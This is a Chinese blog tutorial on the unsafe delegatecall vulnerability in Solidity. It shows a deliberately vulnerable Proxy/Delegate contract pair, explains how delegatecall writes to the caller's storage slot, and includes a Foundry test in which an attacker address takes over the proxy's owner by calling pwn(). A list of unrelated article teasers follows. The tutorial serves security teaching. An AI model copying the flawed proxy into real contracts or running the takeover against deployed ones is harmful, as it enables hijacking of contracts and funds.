区块链安全常见的攻击——不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)【3】

server/2024/11/24 3:54:21/

区块链安全常见的攻击合约和简单复现,附带详细分析——不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)【3】

1、不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)

1.1 漏洞合约

contract Proxy {address public owner = address(0xdeadbeef); // slot0Delegate delegate;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}contract Delegate {address public owner; // slot0function pwn() public {owner = msg.sender;}
}

1.2 漏洞分析

fallback函数:fallback 是 Solidity 中的特殊函数,用于接收不存在的函数调用或以太币转账。标记为 payable 时,可接收以太币;
delegatecall 和 call: 都用于调用其他合约,但区别在于执行上下文:delegatecall 在调用者的上下文中执行代码,修改调用者的存储,并保持 msg.sender 为原调用者;而 call 在目标合约的上下文中执行代码,修改目标合约的存储,msg.sender 是调用者。delegatecall 常用于代理模式,而 call 用于普通合约交互。

delegatecall(msg.data)使得用户可以触发fallback来调用delegatecall,而delegatecall`允许在代理合约的上下文中执行被调用合约的代码,
在这里插入图片描述

1.3 攻击分析

攻击者触发Proxy合约的fallback函数,同时附带data,data是调用pwn函数
以此调用delegatecall函数,调用的时候会将data传入msg.data参数
最后delegatecall函数会调用Delegate合约中的pwn()函数

  1. 触发 Proxy 合约的 fallback 函数: 攻击者对 Proxy 合约发送一次调用,并附带调用数据(data),该数据是pwn() 函数的函数选择器(通过 abi.encodeWithSignature(“pwn()”) 生成)。
  2. 进入 fallback 函数逻辑: fallback 函数被触发后,调用数据(data)通过 msg.data 参数传递给函数内部。
  3. 执行 delegatecall: fallback 函数使用 delegatecall,将 msg.data 传递给 Delegate合约。 delegatecall 在 Proxy 合约的上下文中执行 Delegate 合约的 pwn() 函数。
  4. 调用 Delegate.pwn() 函数: 在 delegatecall 的执行中,Delegate 合约的 pwn() 函数被调用。因为 delegatecall 在调用者(Proxy)的存储上下文中运行,pwn() 函数中的 owner 实际指向的是 Proxy合约的存储槽。

1.4 攻击合约

contract ContractTest is Test {Proxy proxy; // 代理合约实例Delegate DelegateContract; // 逻辑合约实例address alice; // 模拟的攻击者地址// 设置测试环境function setUp() public {alice = vm.addr(1); // 初始化 Alice 地址}// 测试 Delegatecall 漏洞function testDelegatecall() public {DelegateContract = new Delegate(); // 部署逻辑合约proxy = new Proxy(address(DelegateContract));console.log("Alice address", alice); // 打印 Alice 地址console.log("DelegationContract owner", proxy.owner()); // 打印代理合约的初始所有者地址console.log("Start Attack ...");vm.prank(alice);address(proxy).call(abi.encodeWithSignature("pwn()"));// address(proxy).call(abi.encodeWithSignature("pwn()")); // Proxy 的 fallback 通过 delegatecall 调用 Delegate合约的pwn()函数console.log("after attack, DelegationContract owner", proxy.owner()); // 打印攻击后代理合约的初始所有者地址}
}

在这里插入图片描述


http://www.ppmy.cn/server/144430.html

相关文章

aws配置飞书告警通知

serverless 创建应用 在 SAR 中搜索 Feishu-notifier 查到本应用(注意因为本项目会创建 EventBridge 到 SNS Publish 权限,按下图进行勾选 Eventbridge 规则 cloudwatch 告警 {"detail-type": ["CloudWatch Alarm State Change"],…

Unity 事件处理的几种方式

//Unity 事件处理的几种方式 //1 通过编辑器绑定方式 //2:addlistener //3:实现接口 //4:自定义框架 using System; using System.Collections.Generic; using UnityEngine; using UnityEngine.EventSystems;nam…

【人工智能】深入理解PyTorch:从0开始完整教程!全文注解

在当今人工智能和深度学习的浪潮中,PyTorch作为一个灵活且强大的深度学习框架,正受到越来越多开发者和研究者的青睐。无论你是初学者还是经验丰富的开发者,这篇文章将带你深入理解PyTorch,从基础概念到高级应用,帮助你…

Python深度学习环境配置(Pytorch、CUDA、cuDNN),包括Anaconda搭配Pycharm的环境搭建以及基础使用教程(保姆级教程,适合小白、深度学习零基础入门)

全流程导览 一、前言二、基本介绍2.1全过程软件基本介绍2.1.1 Pytorch2.1.2 Anaconda2.1.3 Pycharm2.1.4 显卡GPU及其相关概念2.1.5 CUDA和cuDNN 2.2 各部分相互间的联系和安装逻辑关系 三、Anaconda安装3.1安装Anaconda3.2配置环境变量3.3检验是否安装成功 四、Pycharm安装五、…

网络传输:网卡、IP、网关、子网掩码、MAC、ARP、路由器、NAT、交换机

目录 网卡IP网络地址主机地址子网子网掩码网关默认网关 MACARPARP抓包分析 路由器NATNAPT 交换机 网卡 网卡(Network Interface Card,简称NIC),也称网络适配器。 OSI模型: 1、网卡工作在OSI模型的最后两层,物理层和数据链路层。物…

搜维尔科技:Manus遥操作五指机械手专用手套惯性高精度虚拟现实

Manus遥操作五指机械手专用手套惯性高精度虚拟现实 搜维尔科技:Manus遥操作五指机械手专用手套惯性高精度虚拟现实

基于yolov8、yolov5的大豆病虫害识别系统(含UI界面、训练好的模型、Python代码、数据集)

项目介绍 项目中所用到的算法模型和数据集等信息如下: 算法模型:     yolov8、yolov8 SE注意力机制 或 yolov5、yolov5 SE注意力机制 , 直接提供最少两个训练好的模型。模型十分重要,因为有些同学的电脑没有 GPU&#xff0…

30个实用的Python函数和模块

Python有很多好用的函数和模块,这里给大家整理下我常用的一些方法及语句。 一、内置函数 内置函数是python自带的函数方法,拿来就可以用,比方说zip、filter、isinstance等 下面是Python官档给出的内置函数列表,相当的齐全 下面几…